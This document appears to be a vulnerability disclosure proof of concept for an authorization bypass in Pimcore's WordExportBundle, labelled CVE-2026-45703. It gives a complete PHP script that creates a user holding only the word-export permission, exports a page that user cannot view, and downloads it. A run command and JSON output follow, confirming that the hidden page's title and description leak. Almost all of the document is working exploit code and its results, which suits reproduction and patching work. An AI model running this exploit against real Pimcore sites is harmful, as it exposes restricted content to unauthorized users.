Pimcore WordExportBundle CVE-2026-45703

<?php
declare(strict_types=1);

use Pimcore\Bundle\WordExportBundle\Controller\TranslationController as WordExportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\Document\Page;
use Pimcore\Model\User;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;

require dirname(__DIR__) . '/vendor/autoload.php';

define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));

try {
    \Pimcore\Bootstrap::bootstrap();

    $kernel = new \App\Kernel('dev', true);
    \Pimcore::setKernel($kernel);
    $kernel->boot();

    $container = $kernel->getContainer();

    /** @var RequestStack $requestStack */
    $requestStack = getService($container, [
        RequestStack::class,
        'request_stack',
    ]);

    $admin = User::getByName('admin');
    if (!$admin instanceof User) {
        fail('admin user is missing');
    }

    $auditor = User::getByName('auditor_wordexport');
    if (!$auditor instanceof User) {
        $auditor = new User();
        $auditor->setParentId(0);
        $auditor->setName('auditor_wordexport');
    }

    $auditor->setAdmin(false);
    $auditor->setActive(true);
    $auditor->setPassword(Authentication::getPasswordHash('auditor_wordexport', 'auditor-pass'));
    $auditor->setPermissions(['word_export']);
    $auditor->setRoles([]);
    $auditor->setWorkspacesDocument([]);
    $auditor->setWorkspacesAsset([]);
    $auditor->setWorkspacesObject([]);
    $auditor->save();

    $page = Page::getByPath('/poc-wordexport-secret-page');
    if (!$page instanceof Page) {
        $page = new Page();
        $page->setParentId(1);
        $page->setKey('poc-wordexport-secret-page');
    }

    $page->setPublished(true);
    $page->setController('App\\Controller\\DefaultController::defaultAction');
    $page->setTemplate('default/default.html.twig');
    $page->setTitle('POC-WORDEXPORT-TITLE');
    $page->setDescription('POC-WORDEXPORT-DESC');
    $page->setProperty('language', 'text', 'en', false, true);
    $page->setUserOwner($admin->getId());
    $page->setUserModification($admin->getId());
    $page->save();

    $canViewPage = $page->getDao()->isAllowed('view', $auditor);

    $tokenResolver = buildTokenResolver($auditor);
    $controller = wireController(new WordExportController(), $container, $tokenResolver);

    $exportId = 'wordexportpoc1';
    $exportRequest = new Request([], [
        'id' => $exportId,
        'data' => json_encode([
            ['type' => 'document', 'id' => $page->getId()],
        ], JSON_THROW_ON_ERROR),
        'source' => 'en',
    ]);

    $requestStack->push($exportRequest);
    $controller->wordExportAction($exportRequest, new Filesystem());
    $requestStack->pop();

    $downloadRequest = new Request(['id' => $exportId]);
    $requestStack->push($downloadRequest);
    $downloadResponse = $controller->wordExportDownloadAction($downloadRequest);
    $requestStack->pop();

    $wordContent = (string) $downloadResponse->getContent();

    echo json_encode([
        'vulnerability' => 'wordexport_authorization_bypass',
        'user' => [
            'id' => $auditor->getId(),
            'name' => $auditor->getName(),
            'permissions' => $auditor->getPermissions(),
        ],
        'target_page' => [
            'id' => $page->getId(),
            'path' => $page->getFullPath(),
            'title' => $page->getTitle(),
            'description' => $page->getDescription(),
            'user_can_view_page' => $canViewPage,
        ],
        'result' => [
            'download_contains_title' => str_contains($wordContent, 'POC-WORDEXPORT-TITLE'),
            'download_contains_description' => str_contains($wordContent, 'POC-WORDEXPORT-DESC'),
        ],
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
    fail(sprintf(
        '%s: %s in %s:%d%s',
        $e::class,
        $e->getMessage(),
        $e->getFile(),
        $e->getLine(),
        $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
    ));
}

function wireController(
    UserAwareController $controller,
    ContainerInterface $container,
    TokenStorageUserResolver $tokenResolver
): UserAwareController
{
    $controller->setContainer($container);
    $controller->setTokenResolver($tokenResolver);

    if (method_exists($controller, 'setPimcoreSerializer')) {
        /** @var PimcoreSerializer $serializer */
        $serializer = getService($container, [
            PimcoreSerializer::class,
            'Pimcore\\Serializer\\Serializer',
        ]);
        $controller->setPimcoreSerializer($serializer);
    }

    return $controller;
}

function buildTokenResolver(User $user): TokenStorageUserResolver
{
    $tokenStorage = new TokenStorage();
    $proxyUser = new SecurityUser($user);
    $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
    $tokenStorage->setToken($token);

    return new TokenStorageUserResolver($tokenStorage);
}

function getService(ContainerInterface $container, array $ids): mixed
{
    foreach ($ids as $id) {
        try {
            if ($container->has($id)) {
                return $container->get($id);
            }
        } catch (Throwable) {
        }
    }

    fail('Unable to resolve service: ' . implode(', ', $ids));
}

function fail(string $message): never
{
    fwrite(STDERR, $message . PHP_EOL);
    exit(1);
}

cd pimcore-12.3.3-repro
docker compose exec -T php php tools/poc_wordexport.php

{
  "vulnerability": "wordexport_authorization_bypass",
  "user": {
    "name": "auditor_wordexport",
    "permissions": [
      "word_export"
    ]
  },
  "target_page": {
    "path": "/poc-wordexport-secret-page",
    "title": "POC-WORDEXPORT-TITLE",
    "description": "POC-WORDEXPORT-DESC",
    "user_can_view_page": false
  },
  "result": {
    "download_contains_title": true,
    "download_contains_description": true
  }
}